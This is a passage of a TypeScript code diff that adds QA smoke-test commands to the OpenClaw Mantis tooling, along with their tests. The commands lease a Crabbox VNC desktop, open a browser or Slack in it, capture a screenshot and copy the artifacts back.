import type { MantisBeforeAfterOptions } from "./run.runtime.js";
|
||||
import type { MantisSlackDesktopSmokeOptions } from "./slack-desktop-smoke.runtime.js";
|
||||
|
||||
type MantisCliRuntime = typeof import("./cli.runtime.js");
|
||||
|
||||
@@ -19,6 +21,16 @@ async function runBeforeAfter(opts: MantisBeforeAfterOptions) {
|
||||
await runtime.runMantisBeforeAfterCommand(opts);
|
||||
}
|
||||
|
||||
async function runDesktopBrowserSmoke(opts: MantisDesktopBrowserSmokeOptions) {
|
||||
const runtime = await loadMantisCliRuntime();
|
||||
await runtime.runMantisDesktopBrowserSmokeCommand(opts);
|
||||
}
|
||||
|
||||
async function runSlackDesktopSmoke(opts: MantisSlackDesktopSmokeOptions) {
|
||||
const runtime = await loadMantisCliRuntime();
|
||||
await runtime.runMantisSlackDesktopSmokeCommand(opts);
|
||||
}
|
||||
|
||||
type MantisDiscordSmokeCommanderOptions = {
|
||||
channelId?: string;
|
||||
guildId?: string;
|
||||
@@ -46,6 +58,48 @@ type MantisBeforeAfterCommanderOptions = {
|
||||
transport?: string;
|
||||
};
|
||||
|
||||
type MantisDesktopBrowserSmokeCommanderOptions = {
|
||||
browserUrl?: string;
|
||||
class?: string;
|
||||
crabboxBin?: string;
|
||||
htmlFile?: string;
|
||||
idleTimeout?: string;
|
||||
keepLease?: boolean;
|
||||
leaseId?: string;
|
||||
machineClass?: string;
|
||||
outputDir?: string;
|
||||
provider?: string;
|
||||
repoRoot?: string;
|
||||
ttl?: string;
|
||||
};
|
||||
|
||||
type MantisSlackDesktopSmokeCommanderOptions = {
|
||||
altModel?: string;
|
||||
class?: string;
|
||||
crabboxBin?: string;
|
||||
credentialRole?: string;
|
||||
credentialSource?: string;
|
||||
fast?: boolean;
|
||||
gatewaySetup?: boolean;
|
||||
idleTimeout?: string;
|
||||
keepLease?: boolean;
|
||||
leaseId?: string;
|
||||
machineClass?: string;
|
||||
model?: string;
|
||||
outputDir?: string;
|
||||
provider?: string;
|
||||
providerMode?: string;
|
||||
repoRoot?: string;
|
||||
scenario?: string[];
|
||||
slackChannelId?: string;
|
||||
slackUrl?: string;
|
||||
ttl?: string;
|
||||
};
|
||||
|
||||
function collectString(value: string, previous: string[] = []) {
|
||||
return [...previous, value];
|
||||
}
|
||||
|
||||
export function registerMantisCli(qa: Command) {
|
||||
const mantis = qa
|
||||
.command("mantis")
|
||||
@@ -108,4 +162,91 @@ export function registerMantisCli(qa: Command) {
|
||||
tokenEnv: opts.tokenEnv,
|
||||
});
|
||||
});
|
||||
|
||||
mantis
|
||||
.command("desktop-browser-smoke")
|
||||
.description(
|
||||
"Lease or reuse a Crabbox desktop, open a visible browser, and capture a VNC desktop screenshot",
|
||||
)
|
||||
.option("--repo-root <path>", "Repository root to target when running from a neutral cwd")
|
||||
.option("--output-dir <path>", "Mantis desktop browser artifact directory")
|
||||
.option("--browser-url <url>", "URL to open in the visible browser")
|
||||
.option("--html-file <path>", "Repo-local HTML file to render in the visible browser")
|
||||
.option("--crabbox-bin <path>", "Crabbox binary path")
|
||||
.option("--provider <provider>", "Crabbox provider")
|
||||
.option("--machine-class <class>", "Crabbox machine class")
|
||||
.option("--class <class>", "Alias for --machine-class")
|
||||
.option("--lease-id <id>", "Reuse an existing Crabbox lease")
|
||||
.option("--idle-timeout <duration>", "Crabbox idle timeout")
|
||||
.option("--ttl <duration>", "Crabbox maximum lease lifetime")
|
||||
.option("--keep-lease", "Keep a lease created by this run after a passing smoke")
|
||||
.action(async (opts: MantisDesktopBrowserSmokeCommanderOptions) => {
|
||||
await runDesktopBrowserSmoke({
|
||||
browserUrl: opts.browserUrl,
|
||||
crabboxBin: opts.crabboxBin,
|
||||
htmlFile: opts.htmlFile,
|
||||
idleTimeout: opts.idleTimeout,
|
||||
keepLease: opts.keepLease,
|
||||
leaseId: opts.leaseId,
|
||||
machineClass: opts.machineClass ?? opts.class,
|
||||
outputDir: opts.outputDir,
|
||||
provider: opts.provider,
|
||||
repoRoot: opts.repoRoot,
|
||||
ttl: opts.ttl,
|
||||
});
|
||||
});
|
||||
|
||||
mantis
|
||||
.command("slack-desktop-smoke")
|
||||
.description(
|
||||
"Lease or reuse a Crabbox VNC desktop, run Slack QA inside it, open Slack in the browser, and capture a screenshot",
|
||||
)
|
||||
.option("--repo-root <path>", "Repository root to target when running from a neutral cwd")
|
||||
.option("--output-dir <path>", "Mantis Slack desktop artifact directory")
|
||||
.option("--crabbox-bin <path>", "Crabbox binary path")
|
||||
.option("--provider <provider>", "Crabbox provider")
|
||||
.option("--machine-class <class>", "Crabbox machine class")
|
||||
.option("--class <class>", "Alias for --machine-class")
|
||||
.option("--lease-id <id>", "Reuse an existing Crabbox lease")
|
||||
.option("--idle-timeout <duration>", "Crabbox idle timeout")
|
||||
.option("--ttl <duration>", "Crabbox maximum lease lifetime")
|
||||
.option("--keep-lease", "Keep a lease created by this run after a passing smoke")
|
||||
.option("--gateway-setup", "Start a persistent OpenClaw Slack gateway inside the VNC VM")
|
||||
.option("--slack-url <url>", "Slack web URL to open in the visible browser")
|
||||
.option("--slack-channel-id <id>", "Slack channel id for gateway setup allowlist")
|
||||
.option("--provider-mode <mode>", "QA provider mode")
|
||||
.option("--model <ref>", "Primary provider/model ref")
|
||||
.option("--alt-model <ref>", "Alternate provider/model ref")
|
||||
.option(
|
||||
"--scenario <id>",
|
||||
"Run only the named Slack QA scenario (repeatable)",
|
||||
collectString,
|
||||
[],
|
||||
)
|
||||
.option("--credential-source <source>", "Credential source for Slack QA: env or convex")
|
||||
.option("--credential-role <role>", "Credential role for convex auth")
|
||||
.option("--fast", "Enable provider fast mode where supported")
|
||||
.action(async (opts: MantisSlackDesktopSmokeCommanderOptions) => {
|
||||
await runSlackDesktopSmoke({
|
||||
alternateModel: opts.altModel,
|
||||
crabboxBin: opts.crabboxBin,
|
||||
credentialRole: opts.credentialRole,
|
||||
credentialSource: opts.credentialSource,
|
||||
fastMode: opts.fast,
|
||||
gatewaySetup: opts.gatewaySetup,
|
||||
idleTimeout: opts.idleTimeout,
|
||||
keepLease: opts.keepLease,
|
||||
leaseId: opts.leaseId,
|
||||
machineClass: opts.machineClass ?? opts.class,
|
||||
outputDir: opts.outputDir,
|
||||
primaryModel: opts.model,
|
||||
provider: opts.provider,
|
||||
providerMode: opts.providerMode,
|
||||
repoRoot: opts.repoRoot,
|
||||
scenarioIds: opts.scenario,
|
||||
slackChannelId: opts.slackChannelId,
|
||||
slackUrl: opts.slackUrl,
|
||||
ttl: opts.ttl,
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
@@ -0,0 +1,230 @@
|
||||
import fs from "node:fs/promises";
|
||||
import os from "node:os";
|
||||
import path from "node:path";
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
|
||||
import { runMantisDesktopBrowserSmoke } from "./desktop-browser-smoke.runtime.js";
|
||||
|
||||
describe("mantis desktop browser smoke runtime", () => {
|
||||
let repoRoot: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
repoRoot = await fs.mkdtemp(path.join(os.tmpdir(), "mantis-desktop-browser-smoke-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await fs.rm(repoRoot, { force: true, recursive: true });
|
||||
});
|
||||
|
||||
it("leases a desktop box, runs a visible browser, copies artifacts, and stops on pass", async () => {
|
||||
await fs.mkdir(path.join(repoRoot, "qa-artifacts"), { recursive: true });
|
||||
await fs.writeFile(path.join(repoRoot, "qa-artifacts", "timeline.html"), "<h1>Mantis</h1>");
|
||||
const commands: { args: readonly string[]; command: string; env?: NodeJS.ProcessEnv }[] = [];
|
||||
const runtimeEnv = {
|
||||
PATH: process.env.PATH,
|
||||
CRABBOX_COORDINATOR_TOKEN: "runtime-token",
|
||||
OPENCLAW_MANTIS_CRABBOX_PROVIDER: "hetzner",
|
||||
};
|
||||
const runner = vi.fn(
|
||||
async (command: string, args: readonly string[], options: { env?: NodeJS.ProcessEnv }) => {
|
||||
commands.push({ command, args, env: options.env });
|
||||
if (command === "/tmp/crabbox" && args[0] === "warmup") {
|
||||
return { stdout: "ready lease cbx_abc123\n", stderr: "" };
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "cbx_abc123",
|
||||
provider: "hetzner",
|
||||
slug: "brisk-mantis",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
state: "active",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "rsync") {
|
||||
const outputDir = args.at(-1);
|
||||
expect(outputDir).toBeTypeOf("string");
|
||||
await fs.mkdir(outputDir as string, { recursive: true });
|
||||
await fs.writeFile(path.join(outputDir as string, "desktop-browser-smoke.png"), "png");
|
||||
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
|
||||
return { stdout: "", stderr: "" };
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
},
|
||||
);
|
||||
|
||||
const result = await runMantisDesktopBrowserSmoke({
|
||||
browserUrl: "https://openclaw.ai/docs",
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
env: runtimeEnv,
|
||||
htmlFile: "qa-artifacts/timeline.html",
|
||||
now: () => new Date("2026-05-04T12:00:00.000Z"),
|
||||
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-test",
|
||||
repoRoot,
|
||||
});
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
|
||||
["/tmp/crabbox", "warmup"],
|
||||
["/tmp/crabbox", "inspect"],
|
||||
["/tmp/crabbox", "run"],
|
||||
["rsync", "-az"],
|
||||
["/tmp/crabbox", "stop"],
|
||||
]);
|
||||
expect(commands.every((entry) => entry.env === runtimeEnv)).toBe(true);
|
||||
const rsyncArgs = commands.find((entry) => entry.command === "rsync")?.args ?? [];
|
||||
expect(rsyncArgs).not.toContain("--delete");
|
||||
expect(rsyncArgs).toEqual(
|
||||
expect.arrayContaining([
|
||||
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/desktop-browser-smoke.png",
|
||||
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/remote-metadata.json",
|
||||
"crabbox@203.0.113.10:/tmp/openclaw-mantis-desktop-2026-05-04T12-00-00-000Z/chrome.log",
|
||||
]),
|
||||
);
|
||||
const remoteScript = commands
|
||||
.find((entry) => entry.command === "/tmp/crabbox" && entry.args[0] === "run")
|
||||
?.args.at(-1);
|
||||
expect(remoteScript).toContain("${BROWSER:-}");
|
||||
expect(remoteScript).toContain("${CHROME_BIN:-}");
|
||||
expect(remoteScript).toContain("chromium-browser");
|
||||
expect(remoteScript).toContain("base64 -d");
|
||||
expect(remoteScript).toContain('url="file://$out/input.html"');
|
||||
expect(remoteScript).toContain('"browserBinary": "$browser_bin"');
|
||||
await expect(fs.readFile(result.screenshotPath ?? "", "utf8")).resolves.toBe("png");
|
||||
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
|
||||
browserUrl: string;
|
||||
crabbox: { id: string; vncCommand: string };
|
||||
htmlFile?: string;
|
||||
status: string;
|
||||
};
|
||||
expect(summary.browserUrl).toMatch(/^file:\/\//u);
|
||||
expect(summary).toMatchObject({
|
||||
htmlFile: path.join(repoRoot, "qa-artifacts", "timeline.html"),
|
||||
crabbox: {
|
||||
id: "cbx_abc123",
|
||||
vncCommand: "/tmp/crabbox vnc --provider hetzner --id cbx_abc123 --open",
|
||||
},
|
||||
status: "pass",
|
||||
});
|
||||
});
|
||||
|
||||
it("rejects html files outside the repository", async () => {
|
||||
const runner = vi.fn(async () => ({ stdout: "", stderr: "" }));
|
||||
|
||||
await expect(
|
||||
runMantisDesktopBrowserSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
htmlFile: "../outside.html",
|
||||
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-outside",
|
||||
repoRoot,
|
||||
}),
|
||||
).rejects.toThrow("Mantis desktop HTML file must be inside the repository");
|
||||
expect(runner).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("accepts Blacksmith Testbox lease ids from Crabbox warmup", async () => {
|
||||
const commands: { args: readonly string[]; command: string }[] = [];
|
||||
const runner = vi.fn(async (command: string, args: readonly string[]) => {
|
||||
commands.push({ command, args });
|
||||
if (command === "/tmp/crabbox" && args[0] === "warmup") {
|
||||
return { stdout: "ready: tbx_abc-123_more\n", stderr: "" };
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "tbx_abc-123_more",
|
||||
provider: "blacksmith-testbox",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
state: "active",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "rsync") {
|
||||
const outputDir = args.at(-1);
|
||||
await fs.mkdir(outputDir as string, { recursive: true });
|
||||
await fs.writeFile(path.join(outputDir as string, "desktop-browser-smoke.png"), "png");
|
||||
await fs.writeFile(path.join(outputDir as string, "remote-metadata.json"), "{}\n");
|
||||
await fs.writeFile(path.join(outputDir as string, "chrome.log"), "chrome\n");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
|
||||
const result = await runMantisDesktopBrowserSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
now: () => new Date("2026-05-04T12:30:00.000Z"),
|
||||
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-testbox",
|
||||
provider: "blacksmith-testbox",
|
||||
repoRoot,
|
||||
});
|
||||
|
||||
expect(result.status).toBe("pass");
|
||||
expect(commands).toEqual(
|
||||
expect.arrayContaining([
|
||||
expect.objectContaining({
|
||||
args: expect.arrayContaining(["--id", "tbx_abc-123_more"]),
|
||||
command: "/tmp/crabbox",
|
||||
}),
|
||||
]),
|
||||
);
|
||||
const summary = JSON.parse(await fs.readFile(result.summaryPath, "utf8")) as {
|
||||
crabbox: { id: string; provider: string };
|
||||
};
|
||||
expect(summary.crabbox).toMatchObject({
|
||||
id: "tbx_abc-123_more",
|
||||
provider: "blacksmith-testbox",
|
||||
});
|
||||
});
|
||||
|
||||
it("keeps an existing lease and writes failure reports when the remote run fails", async () => {
|
||||
const commands: { args: readonly string[]; command: string }[] = [];
|
||||
const runner = vi.fn(async (command: string, args: readonly string[]) => {
|
||||
commands.push({ command, args });
|
||||
if (command === "/tmp/crabbox" && args[0] === "inspect") {
|
||||
return {
|
||||
stdout: `${JSON.stringify({
|
||||
host: "203.0.113.10",
|
||||
id: "cbx_existing",
|
||||
provider: "hetzner",
|
||||
sshKey: "/tmp/key",
|
||||
sshPort: "2222",
|
||||
sshUser: "crabbox",
|
||||
})}\n`,
|
||||
stderr: "",
|
||||
};
|
||||
}
|
||||
if (command === "/tmp/crabbox" && args[0] === "run") {
|
||||
throw new Error("remote chrome failed");
|
||||
}
|
||||
return { stdout: "", stderr: "" };
|
||||
});
|
||||
|
||||
const result = await runMantisDesktopBrowserSmoke({
|
||||
commandRunner: runner,
|
||||
crabboxBin: "/tmp/crabbox",
|
||||
leaseId: "cbx_existing",
|
||||
outputDir: ".artifacts/qa-e2e/mantis/desktop-browser-fail",
|
||||
repoRoot,
|
||||
});
|
||||
|
||||
expect(result.status).toBe("fail");
|
||||
expect(commands.map((entry) => [entry.command, entry.args[0]])).toEqual([
|
||||
["/tmp/crabbox", "inspect"],
|
||||
["/tmp/crabbox", "run"],
|
||||
]);
|
||||
await expect(fs.readFile(path.join(result.outputDir, "error.txt"), "utf8")).resolves.toContain(
|
||||
"remote chrome failed",
|
||||
);
|
||||
});
|
||||
});
|
||||
601
extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.ts
Normal file
601
extensions/qa-lab/src/mantis/desktop-browser-smoke.runtime.ts
Normal file
@@ -0,0 +1,601 @@
|
||||
import { spawn, type SpawnOptions } from "node:child_process";
|
||||
import fs from "node:fs/promises";
|
||||
import path from "node:path";
|
||||
import { pathToFileURL } from "node:url";
|
||||
import { formatErrorMessage } from "openclaw/plugin-sdk/error-runtime";
|
||||
import { ensureRepoBoundDirectory, resolveRepoRelativeOutputDir } from "../cli-paths.js";
|
||||
|
||||
export type MantisDesktopBrowserSmokeOptions = {
|
||||
browserUrl?: string;
|
||||
commandRunner?: CommandRunner;
|
||||
crabboxBin?: string;
|
||||
env?: NodeJS.ProcessEnv;
|
||||
htmlFile?: string;
|
||||
idleTimeout?: string;
|
||||
keepLease?: boolean;
|
||||
leaseId?: string;
|
||||
machineClass?: string;
|
||||
now?: () => Date;
|
||||
outputDir?: string;
|
||||
provider?: string;
|
||||
repoRoot?: string;
|
||||
ttl?: string;
|
||||
};
|
||||
|
||||
export type MantisDesktopBrowserSmokeResult = {
|
||||
outputDir: string;
|
||||
reportPath: string;
|
||||
screenshotPath?: string;
|
||||
status: "pass" | "fail";
|
||||
summaryPath: string;
|
||||
};
|
||||
|
||||
type CommandResult = {
|
||||
stderr: string;
|
||||
stdout: string;
|
||||
};
|
||||
|
||||
type CommandRunner = (
|
||||
command: string,
|
||||
args: readonly string[],
|
||||
options: SpawnOptions,
|
||||
) => Promise<CommandResult>;
|
||||
|
||||
type CrabboxInspect = {
|
||||
host?: string;
|
||||
id?: string;
|
||||
provider?: string;
|
||||
ready?: boolean;
|
||||
slug?: string;
|
||||
sshKey?: string;
|
||||
sshPort?: string;
|
||||
sshUser?: string;
|
||||
state?: string;
|
||||
};
|
||||
|
||||
type MantisDesktopBrowserSmokeSummary = {
|
||||
artifacts: {
|
||||
reportPath: string;
|
||||
screenshotPath?: string;
|
||||
summaryPath: string;
|
||||
};
|
||||
browserUrl: string;
|
||||
htmlFile?: string;
|
||||
crabbox: {
|
||||
bin: string;
|
||||
createdLease: boolean;
|
||||
id: string;
|
||||
provider: string;
|
||||
slug?: string;
|
||||
state?: string;
|
||||
vncCommand: string;
|
||||
};
|
||||
error?: string;
|
||||
finishedAt: string;
|
||||
outputDir: string;
|
||||
remoteOutputDir: string;
|
||||
startedAt: string;
|
||||
status: "pass" | "fail";
|
||||
};
|
||||
|
||||
const DEFAULT_BROWSER_URL = "https://openclaw.ai";
|
||||
const DEFAULT_PROVIDER = "hetzner";
|
||||
const DEFAULT_CLASS = "beast";
|
||||
const DEFAULT_IDLE_TIMEOUT = "60m";
|
||||
const DEFAULT_TTL = "120m";
|
||||
const CRABBOX_BIN_ENV = "OPENCLAW_MANTIS_CRABBOX_BIN";
|
||||
const CRABBOX_PROVIDER_ENV = "OPENCLAW_MANTIS_CRABBOX_PROVIDER";
|
||||
const CRABBOX_CLASS_ENV = "OPENCLAW_MANTIS_CRABBOX_CLASS";
|
||||
const CRABBOX_LEASE_ID_ENV = "OPENCLAW_MANTIS_CRABBOX_LEASE_ID";
|
||||
const CRABBOX_KEEP_ENV = "OPENCLAW_MANTIS_KEEP_VM";
|
||||
const CRABBOX_IDLE_TIMEOUT_ENV = "OPENCLAW_MANTIS_CRABBOX_IDLE_TIMEOUT";
|
||||
const CRABBOX_TTL_ENV = "OPENCLAW_MANTIS_CRABBOX_TTL";
|
||||
|
||||
function trimToValue(value: string | undefined) {
|
||||
const trimmed = value?.trim();
|
||||
return trimmed && trimmed.length > 0 ? trimmed : undefined;
|
||||
}
|
||||
|
||||
function isTruthyOptIn(value: string | undefined) {
|
||||
const normalized = value?.trim().toLowerCase();
|
||||
return normalized === "1" || normalized === "true" || normalized === "yes";
|
||||
}
|
||||
|
||||
function defaultOutputDir(repoRoot: string, startedAt: Date) {
|
||||
const stamp = startedAt.toISOString().replace(/[:.]/gu, "-");
|
||||
return path.join(repoRoot, ".artifacts", "qa-e2e", "mantis", `desktop-browser-${stamp}`);
|
||||
}
|
||||
|
||||
async function defaultCommandRunner(
|
||||
command: string,
|
||||
args: readonly string[],
|
||||
options: SpawnOptions,
|
||||
): Promise<CommandResult> {
|
||||
return new Promise((resolve, reject) => {
|
||||
const child = spawn(command, args, {
|
||||
...options,
|
||||
stdio: ["ignore", "pipe", "pipe"],
|
||||
});
|
||||
let stdout = "";
|
||||
let stderr = "";
|
||||
child.stdout?.on("data", (chunk: Buffer) => {
|
||||
const text = chunk.toString();
|
||||
stdout += text;
|
||||
if (options.stdio === "inherit") {
|
||||
process.stdout.write(text);
|
||||
}
|
||||
});
|
||||
child.stderr?.on("data", (chunk: Buffer) => {
|
||||
const text = chunk.toString();
|
||||
stderr += text;
|
||||
if (options.stdio === "inherit") {
|
||||
process.stderr.write(text);
|
||||
}
|
||||
});
|
||||
child.on("error", reject);
|
||||
child.on("close", (code, signal) => {
|
||||
if (code === 0) {
|
||||
resolve({ stdout, stderr });
|
||||
return;
|
||||
}
|
||||
const detail = signal ? `signal ${signal}` : `exit code ${code ?? "unknown"}`;
|
||||
reject(new Error(`${command} ${args.join(" ")} failed with ${detail}`));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
async function pathExists(filePath: string) {
|
||||
try {
|
||||
await fs.access(filePath);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
async function resolveCrabboxBin(params: {
|
||||
env: NodeJS.ProcessEnv;
|
||||
explicit?: string;
|
||||
repoRoot: string;
|
||||
}) {
|
||||
const configured = trimToValue(params.explicit) ?? trimToValue(params.env[CRABBOX_BIN_ENV]);
|
||||
if (configured) {
|
||||
return configured;
|
||||
}
|
||||
const sibling = path.resolve(params.repoRoot, "../crabbox/bin/crabbox");
|
||||
if (await pathExists(sibling)) {
|
||||
return sibling;
|
||||
}
|
||||
return "crabbox";
|
||||
}
|
||||
|
||||
function extractLeaseId(output: string) {
|
||||
return output.match(/\b(?:cbx_[a-f0-9]+|tbx_[A-Za-z0-9_-]+)\b/u)?.[0];
|
||||
}
|
||||
|
||||
function shellQuote(value: string) {
|
||||
return `'${value.replaceAll("'", "'\\''")}'`;
|
||||
}
|
||||
|
||||
function resolveRepoBoundFile(repoRoot: string, filePath: string, label: string) {
|
||||
const resolved = path.resolve(repoRoot, filePath);
|
||||
const relative = path.relative(repoRoot, resolved);
|
||||
if (relative === "" || relative.startsWith("..") || path.isAbsolute(relative)) {
|
||||
throw new Error(`${label} must be inside the repository: ${filePath}`);
|
||||
}
|
||||
return resolved;
|
||||
}
|
||||
|
||||
function renderRemoteScript(params: {
|
||||
browserUrl: string;
|
||||
htmlBase64?: string;
|
||||
remoteOutputDir: string;
|
||||
}) {
|
||||
const shellUrl = shellQuote(params.browserUrl);
|
||||
const shellUrlJson = shellQuote(JSON.stringify(params.browserUrl));
|
||||
const htmlBase64 = shellQuote(params.htmlBase64 ?? "");
|
||||
const shellOutputDir = shellQuote(params.remoteOutputDir);
|
||||
const inputModeJson = shellQuote(JSON.stringify(params.htmlBase64 ? "html-file" : "url"));
|
||||
const openedUrlJson = shellQuote(
|
||||
JSON.stringify(
|
||||
params.htmlBase64 ? `file://${params.remoteOutputDir}/input.html` : params.browserUrl,
|
||||
),
|
||||
);
|
||||
return `set -euo pipefail
|
||||
out=${shellOutputDir}
|
||||
url=${shellUrl}
|
||||
url_json=${shellUrlJson}
|
||||
html_b64=${htmlBase64}
|
||||
input_mode_json=${inputModeJson}
|
||||
opened_url_json=${openedUrlJson}
|
||||
rm -rf "$out"
|
||||
mkdir -p "$out"
|
||||
if [ -n "$html_b64" ]; then
|
||||
printf '%s' "$html_b64" | base64 -d >"$out/input.html"
|
||||
url="file://$out/input.html"
|
||||
fi
|
||||
export DISPLAY="\${DISPLAY:-:99}"
|
||||
if ! command -v scrot >/dev/null 2>&1; then
|
||||
sudo apt-get update -y >"$out/apt.log" 2>&1
|
||||
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y scrot >>"$out/apt.log" 2>&1
|
||||
fi
|
||||
profile="$out/chrome-profile"
|
||||
mkdir -p "$profile"
|
||||
browser_bin=""
|
||||
for candidate in "\${BROWSER:-}" "\${CHROME_BIN:-}" google-chrome chromium chromium-browser; do
|
||||
if [ -n "$candidate" ] && command -v "$candidate" >/dev/null 2>&1; then
|
||||
browser_bin="$(command -v "$candidate")"
|
||||
break
|
||||
fi
|
||||
done
|
||||
if [ -z "$browser_bin" ]; then
|
||||
echo "No browser binary found. Checked BROWSER, CHROME_BIN, google-chrome, chromium, chromium-browser." >&2
|
||||
exit 127
|
||||
fi
|
||||
"$browser_bin" \
|
||||
--user-data-dir="$profile" \
|
||||
--no-first-run \
|
||||
--no-default-browser-check \
|
||||
--disable-dev-shm-usage \
|
||||
--window-size=1280,900 \
|
||||
--window-position=0,0 \
|
||||
--class=mantis-desktop-browser-smoke \
|
||||
"$url" >"$out/chrome.log" 2>&1 &
|
||||
chrome_pid=$!
|
||||
cleanup() {
|
||||
kill "$chrome_pid" >/dev/null 2>&1 || true
|
||||
}
|
||||
trap cleanup EXIT
|
||||
sleep 8
|
||||
scrot "$out/desktop-browser-smoke.png"
|
||||
cleanup
|
||||
trap - EXIT
|
||||
sleep 1
|
||||
rm -rf "$profile" || true
|
||||
cat >"$out/remote-metadata.json" <<MANTIS_REMOTE_METADATA
|
||||
{
|
||||
"browserUrl": $url_json,
|
||||
"browserBinary": "$browser_bin",
|
||||
"display": "$DISPLAY",
|
||||
"chromePid": $chrome_pid,
|
||||
"inputMode": $input_mode_json,
|
||||
"openedUrl": $opened_url_json,
|
||||
"capturedAt": "$(date -u +%Y-%m-%dT%H:%M:%SZ)"
|
||||
}
|
||||
MANTIS_REMOTE_METADATA
|
||||
test -s "$out/desktop-browser-smoke.png"
|
||||
`;
|
||||
}
|
||||
|
||||
function renderReport(summary: MantisDesktopBrowserSmokeSummary) {
|
||||
const lines = [
|
||||
"# Mantis Desktop Browser Smoke",
|
||||
"",
|
||||
`Status: ${summary.status}`,
|
||||
`Browser URL: ${summary.browserUrl}`,
|
||||
summary.htmlFile ? `HTML file: ${summary.htmlFile}` : undefined,
|
||||
`Output: ${summary.outputDir}`,
|
||||
`Started: ${summary.startedAt}`,
|
||||
`Finished: ${summary.finishedAt}`,
|
||||
"",
|
||||
"## Crabbox",
|
||||
"",
|
||||
`- Provider: ${summary.crabbox.provider}`,
|
||||
`- Lease: ${summary.crabbox.id}${summary.crabbox.slug ? ` (${summary.crabbox.slug})` : ""}`,
|
||||
`- Created by run: ${summary.crabbox.createdLease}`,
|
||||
`- State: ${summary.crabbox.state ?? "unknown"}`,
|
||||
`- VNC: \`${summary.crabbox.vncCommand}\``,
|
||||
"",
|
||||
"## Artifacts",
|
||||
"",
|
||||
summary.artifacts.screenshotPath
|
||||
? `- Screenshot: \`${path.basename(summary.artifacts.screenshotPath)}\``
|
||||
: "- Screenshot: missing",
|
||||
"- Remote metadata: `remote-metadata.json`",
|
||||
"- Chrome log: `chrome.log`",
|
||||
summary.error ? `- Error: ${summary.error}` : undefined,
|
||||
"",
|
||||
].filter((line) => line !== undefined);
|
||||
return `${lines.join("\n")}\n`;
|
||||
}
|
||||
|
||||
async function runCommand(params: {
|
||||
args: readonly string[];
|
||||
command: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
runner: CommandRunner;
|
||||
stdio?: "inherit" | "pipe";
|
||||
}) {
|
||||
return params.runner(params.command, params.args, {
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
stdio: params.stdio ?? "pipe",
|
||||
});
|
||||
}
|
||||
|
||||
async function warmupCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
idleTimeout: string;
|
||||
machineClass: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
ttl: string;
|
||||
}) {
|
||||
const result = await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: [
|
||||
"warmup",
|
||||
"--provider",
|
||||
params.provider,
|
||||
"--desktop",
|
||||
"--browser",
|
||||
"--class",
|
||||
params.machineClass,
|
||||
"--idle-timeout",
|
||||
params.idleTimeout,
|
||||
"--ttl",
|
||||
params.ttl,
|
||||
],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
stdio: "inherit",
|
||||
});
|
||||
const leaseId = extractLeaseId(`${result.stdout}\n${result.stderr}`);
|
||||
if (!leaseId) {
|
||||
throw new Error("Crabbox warmup did not print a lease id.");
|
||||
}
|
||||
return leaseId;
|
||||
}
|
||||
|
||||
async function inspectCrabbox(params: {
|
||||
crabboxBin: string;
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
leaseId: string;
|
||||
provider: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
const result = await runCommand({
|
||||
command: params.crabboxBin,
|
||||
args: ["inspect", "--provider", params.provider, "--id", params.leaseId, "--json"],
|
||||
cwd: params.cwd,
|
||||
env: params.env,
|
||||
runner: params.runner,
|
||||
});
|
||||
return JSON.parse(result.stdout) as CrabboxInspect;
|
||||
}
|
||||
|
||||
async function copyRemoteArtifacts(params: {
|
||||
cwd: string;
|
||||
env: NodeJS.ProcessEnv;
|
||||
inspect: CrabboxInspect;
|
||||
outputDir: string;
|
||||
remoteOutputDir: string;
|
||||
runner: CommandRunner;
|
||||
}) {
|
||||
const { host, sshKey, sshPort, sshUser } = params.inspect;
|
||||
if (!host || !sshKey || !sshUser) {
